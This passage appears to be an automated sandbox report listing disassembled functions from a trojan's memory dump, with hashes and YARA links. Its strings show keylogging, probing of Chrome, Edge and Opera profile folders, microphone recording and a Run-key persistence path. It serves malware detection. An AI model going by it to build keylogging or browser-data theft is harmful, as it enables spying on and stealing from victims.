                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DownloadFileSleep
                                            • String ID: !D@
                                            • API String ID: 1931167962-604454484
                                            • Opcode ID: 1ee2299181c43429df041adb64fff50d3160e985c7a9a19c3789c6205816a6ff
                                            • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                                            • Opcode Fuzzy Hash: 1ee2299181c43429df041adb64fff50d3160e985c7a9a19c3789c6205816a6ff
                                            • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                                            Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                              • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • CloseHandle.KERNEL32(?), ref: 0040B0B4
                                            • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                            • String ID: Online Keylogger Stopped
                                            • API String ID: 1623830855-1496645233
                                            • Opcode ID: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                            • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                                            • Opcode Fuzzy Hash: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                            • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                                            Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
                                            • waveInAddBuffer.WINMM(?,00000020), ref: 0040185F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wave$BufferHeaderPrepare
                                            • String ID: XMG
                                            • API String ID: 2315374483-813777761
                                            • Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                            • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                            • Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                            • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                            Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocaleValid
                                            • String ID: IsValidLocaleName$JD
                                            • API String ID: 1901932003-2234456777
                                            • Opcode ID: 51bc9a782de688291f39784aabc01e809a53b6defb3ea5057969789d83f50679
                                            • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                                            • Opcode Fuzzy Hash: 51bc9a782de688291f39784aabc01e809a53b6defb3ea5057969789d83f50679
                                            • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                                            Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                            • API String ID: 1174141254-4188645398
                                            • Opcode ID: 333e2781ec0ec89fbd88f6f0735ff55aec90b53b609e1a946a8fd7ce7860d637
                                            • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                                            • Opcode Fuzzy Hash: 333e2781ec0ec89fbd88f6f0735ff55aec90b53b609e1a946a8fd7ce7860d637
                                            • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                                            Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                            • API String ID: 1174141254-2800177040
                                            • Opcode ID: 46641891947e03d640cd62480cc1169afb97d1bf2d9271bf70253981d5b275da
                                            • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                                            • Opcode Fuzzy Hash: 46641891947e03d640cd62480cc1169afb97d1bf2d9271bf70253981d5b275da
                                            • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                                            Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: AppData$\Opera Software\Opera Stable\
                                            • API String ID: 1174141254-1629609700
                                            • Opcode ID: 776327d6e5661bbd5273f74550199b0ae7763d34e3e9ac4bd8830f7a720e7153
                                            • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                                            • Opcode Fuzzy Hash: 776327d6e5661bbd5273f74550199b0ae7763d34e3e9ac4bd8830f7a720e7153
                                            • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                                            Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyState.USER32(00000011), ref: 0040B64B
                                              • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                                              • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                              • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                                              • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                                              • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                                              • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                                              • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                                              • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                            • String ID: [AltL]$[AltR]
                                            • API String ID: 2738857842-2658077756
                                            • Opcode ID: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                            • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                                            • Opcode Fuzzy Hash: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                            • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                                            Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$FileSystem
                                            • String ID: GetSystemTimePreciseAsFileTime$PkGNG
                                            • API String ID: 2086374402-949981407
                                            • Opcode ID: e85234dd122f09b0c94e77719a40fbeea2143a0bc5736c6b14345478c49c6815
                                            • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                                            • Opcode Fuzzy Hash: e85234dd122f09b0c94e77719a40fbeea2143a0bc5736c6b14345478c49c6815
                                            • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                                            Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExecuteShell
                                            • String ID: !D@$open
                                            • API String ID: 587946157-1586967515
                                            • Opcode ID: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                            • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                                            • Opcode Fuzzy Hash: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                            • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                                            Function 0045554B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___initconout.LIBCMT ref: 0045555B
                                              • Part of subcall function 00456B1D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000), ref: 00456B30
                                            • WriteConsoleW.KERNEL32 ref: 0045557E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ConsoleCreateFileWrite___initconout
                                            • String ID: PkGNG
                                            • API String ID: 3087715906-263838557
                                            • Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                            • Instruction ID: e84ccb038854987deafcb7b601af55b429ad8f27f18c1f17be9b2782bd97289a
                                            • Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                            • Instruction Fuzzy Hash: 10E02B70500508BBD610CB64DC25EB63319EB003B1F600315FE25C72D1EB34DD44C759
                                            Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyState.USER32(00000012), ref: 0040B6A5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: State
                                            • String ID: [CtrlL]$[CtrlR]
                                            • API String ID: 1649606143-2446555240
                                            • Opcode ID: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                            • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                                            • Opcode Fuzzy Hash: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                            • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                                            Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • __Init_thread_footer.LIBCMT ref: 00410F29
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Init_thread_footer__onexit
                                            • String ID: ,kG$0kG
                                            • API String ID: 1881088180-2015055088
                                            • Opcode ID: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                            • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                                            • Opcode Fuzzy Hash: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                            • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                                            Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteOpenValue
                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                            • API String ID: 2654517830-1051519024
                                            • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                            • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                                            • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                            • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668